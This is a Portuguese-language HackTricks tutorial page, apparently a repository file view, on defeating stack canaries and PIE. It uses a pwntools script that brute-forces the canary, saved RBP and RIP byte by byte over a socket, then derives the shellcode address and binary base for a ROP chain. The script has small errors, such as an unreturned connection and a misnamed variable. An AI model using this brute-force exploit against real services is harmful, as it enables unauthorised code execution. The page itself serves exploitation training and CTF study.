hacktricks/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md

103 lines
5.6 KiB
Markdown
Raw Normal View History

# Endereços BF na Pilha
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
**Se você estiver lidando com um binário protegido por um canário e PIE (Position Independent Executable), provavelmente precisará encontrar uma maneira de contorná-los.**
![](<../../../.gitbook/assets/image (862).png>)
{% hint style="info" %}
Observe que o **`checksec`** pode não identificar que um binário está protegido por um canário se ele foi compilado estaticamente e não é capaz de identificar a função.\
No entanto, você pode notar manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
{% endhint %}
## Endereços de Força Bruta
Para **contornar o PIE**, você precisa **vazar algum endereço**. E se o binário não estiver vazando nenhum endereço, a melhor coisa a fazer é **forçar bruta o RBP e RIP salvos na pilha** na função vulnerável.\
Por exemplo, se um binário estiver protegido usando tanto um **canário** quanto **PIE**, você pode começar a forçar bruta o canário, então os **próximos** 8 Bytes (x64) serão o **RBP** salvo e os **próximos** 8 Bytes serão o **RIP** salvo.
{% hint style="success" %}
Supõe-se que o endereço de retorno dentro da pilha pertence ao código binário principal, o que, se a vulnerabilidade estiver localizada no código binário, geralmente será o caso.
{% endhint %}
Para forçar bruta o RBP e o RIP do binário, você pode descobrir que um byte válido adivinhado está correto se o programa produzir algo ou simplesmente não travar. A **mesma função** fornecida para forçar bruta o canário pode ser usada para forçar bruta o RBP e o RIP:
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
A última coisa que você precisa para derrotar o PIE é calcular **endereços úteis a partir dos endereços vazados**: o **RBP** e o **RIP**.
A partir do **RBP**, você pode calcular **onde está escrevendo seu shell no stack**. Isso pode ser muito útil para saber onde você vai escrever a string _"/bin/sh\x00"_ dentro do stack. Para calcular a distância entre o RBP vazado e seu shellcode, você pode simplesmente colocar um **ponto de interrupção após vazar o RBP** e verificar **onde seu shellcode está localizado**, então, você pode calcular a distância entre o shellcode e o RBP:
```python
INI_SHELLCODE = RBP - 1152
```
A partir do **RIP** você pode calcular o **endereço base do binário PIE** que é o que você vai precisar para criar uma **cadeia ROP válida**.\
Para calcular o endereço base, basta fazer `objdump -d vunbinary` e verificar os últimos endereços desmontados:
![](<../../../.gitbook/assets/image (476).png>)
Nesse exemplo, você pode ver que apenas **1 byte e meio é necessário** para localizar todo o código, então, o endereço base nessa situação será o **RIP vazado, mas terminando em "000"**. Por exemplo, se você vazou `0x562002970ecf`, o endereço base será `0x562002970000`
```python
elf.address = RIP - (RIP & 0xfff)
```
## Melhorias
De acordo com [**algumas observações deste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), é possível que, ao vazar os valores RBP e RIP, o servidor não irá travar com alguns valores que não são os corretos e o script BF pensará que obteve os corretos. Isso ocorre porque é possível que **alguns endereços simplesmente não causem a quebra, mesmo que não sejam exatamente os corretos**.
De acordo com esse post no blog, é recomendado adicionar um pequeno atraso entre as solicitações feitas ao servidor.